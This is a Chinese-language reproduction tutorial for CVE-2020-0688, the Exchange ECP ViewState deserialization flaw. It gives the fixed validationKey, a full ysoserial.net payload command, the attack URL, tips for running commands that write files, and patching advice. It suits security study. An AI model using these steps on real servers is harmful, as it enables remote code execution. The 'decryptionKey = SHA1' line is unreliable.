CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现
字数 1594 2025-08-26 22:11:57

CVE-2020-0688:微软Exchange服务远程代码执行漏洞分析与复现

漏洞概述

CVE编号:CVE-2020-0688
漏洞类型:远程代码执行
影响组件:Microsoft Exchange Control Panel (ECP)
漏洞成因:Exchange服务器安装时未正确创建唯一加密密钥,导致所有Exchange Server使用相同的validationKeydecryptionKey

受影响版本

  • Exchange Server 2010
  • Exchange Server 2013
  • Exchange Server 2016
  • Exchange Server 2019

漏洞原理

该漏洞源于Exchange服务器在安装时web.config文件中使用了固定的加密密钥:

  • validationKey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
  • decryptionKey = SHA1

这些密钥用于保护ASP.NET的ViewState安全。ViewState是ASP.NET Web应用以序列化格式存储在客户端的服务端数据。攻击者可利用这些固定密钥伪造恶意ViewState,在Exchange Control Panel web应用上执行任意.NET代码。

漏洞复现

环境准备

  • 操作系统:Windows Server 2012
  • Exchange版本:
    • 15.0.516.32(2012年12月3日)
    • 15.0.1497.2(2019年6月18日)

复现步骤

  1. 获取ViewStateUserKey值

    • 访问/ecp/default.aspx
    • 按F12打开开发者工具,选择Network选项
    • 刷新页面(F5),查看/ecp/default.aspx的原始响应
    • 在响应中搜索__VIEWSTATEUSERKEY
  2. 获取VIEWSTATEGENERATOR值

    • 同样在/ecp/default.aspx的响应中搜索VIEWSTATEGENERATOR
    • 或使用JavaScript获取:document.getElementById("VIEWSTATEGENERATOR").value
    • 注:若未找到该字段,需安装KB2919355补丁
  3. 整理已知参数

    --validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
    --validationalg = SHA1
    --generator = B97B4E27(基本默认)
    --viewstateuserkey = d673d1a4-1794-403e-ab96-e283ca880ef2(需手工获取,每次登录不同)
    
  4. 生成payload
    使用ysoserial.net工具生成恶意ViewState:

    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
    --validationalg="SHA1" \
    --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" \
    --generator="B97B4E27" \
    --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2" \
    --isdebug --islegacy
    
  5. URL编码payload
    将ysoserial生成的payload进行URL编码

  6. 构造攻击URL

    https://[目标IP]/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=[URL编码后的payload]
    
  7. 执行攻击
    访问构造好的URL,若成功将弹出计算器

注意事项

  • 创建文件时需使用完整命令格式:-c "cmd /c echo test > C:\1.txt"
  • 直接使用-c "echo OOOPS!!! > c:/Vuln_Server.txt"无法创建文件

工具下载

  • ysoserial.net工具:

    • https://github.com/pwntester/ysoserial.net
    • https://github.com/Jumbo-WJB/CVE-2020-0688
    • https://github.com/random-robbie/cve-2020-0688
  • Exchange版本信息:

    • https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

修复建议

  1. 及时安装微软发布的补丁
  2. 对于无法立即更新的系统,建议限制对ECP接口的访问
  3. 监控和审计Exchange服务器的异常活动

参考链接

  • https://nosec.org/home/detail/4158.html
  • 微软官方安全公告
CVE-2020-0688:微软Exchange服务远程代码执行漏洞分析与复现 漏洞概述 CVE编号 :CVE-2020-0688 漏洞类型 :远程代码执行 影响组件 :Microsoft Exchange Control Panel (ECP) 漏洞成因 :Exchange服务器安装时未正确创建唯一加密密钥,导致所有Exchange Server使用相同的 validationKey 和 decryptionKey 受影响版本 Exchange Server 2010 Exchange Server 2013 Exchange Server 2016 Exchange Server 2019 漏洞原理 该漏洞源于Exchange服务器在安装时web.config文件中使用了固定的加密密钥: validationKey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF decryptionKey = SHA1 这些密钥用于保护ASP.NET的ViewState安全。ViewState是ASP.NET Web应用以序列化格式存储在客户端的服务端数据。攻击者可利用这些固定密钥伪造恶意ViewState,在Exchange Control Panel web应用上执行任意.NET代码。 漏洞复现 环境准备 操作系统:Windows Server 2012 Exchange版本: 15.0.516.32(2012年12月3日) 15.0.1497.2(2019年6月18日) 复现步骤 获取ViewStateUserKey值 访问 /ecp/default.aspx 按F12打开开发者工具,选择Network选项 刷新页面(F5),查看 /ecp/default.aspx 的原始响应 在响应中搜索 __VIEWSTATEUSERKEY 获取VIEWSTATEGENERATOR值 同样在 /ecp/default.aspx 的响应中搜索 VIEWSTATEGENERATOR 或使用JavaScript获取: document.getElementById("VIEWSTATEGENERATOR").value 注:若未找到该字段,需安装KB2919355补丁 整理已知参数 生成payload 使用ysoserial.net工具生成恶意ViewState: URL编码payload 将ysoserial生成的payload进行URL编码 构造攻击URL 执行攻击 访问构造好的URL,若成功将弹出计算器 注意事项 创建文件时需使用完整命令格式: -c "cmd /c echo test > C:\1.txt" 直接使用 -c "echo OOOPS!!! > c:/Vuln_Server.txt" 无法创建文件 工具下载 ysoserial.net工具: https://github.com/pwntester/ysoserial.net https://github.com/Jumbo-WJB/CVE-2020-0688 https://github.com/random-robbie/cve-2020-0688 Exchange版本信息: https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016 修复建议 及时安装微软发布的补丁 对于无法立即更新的系统,建议限制对ECP接口的访问 监控和审计Exchange服务器的异常活动 参考链接 https://nosec.org/home/detail/4158.html 微软官方安全公告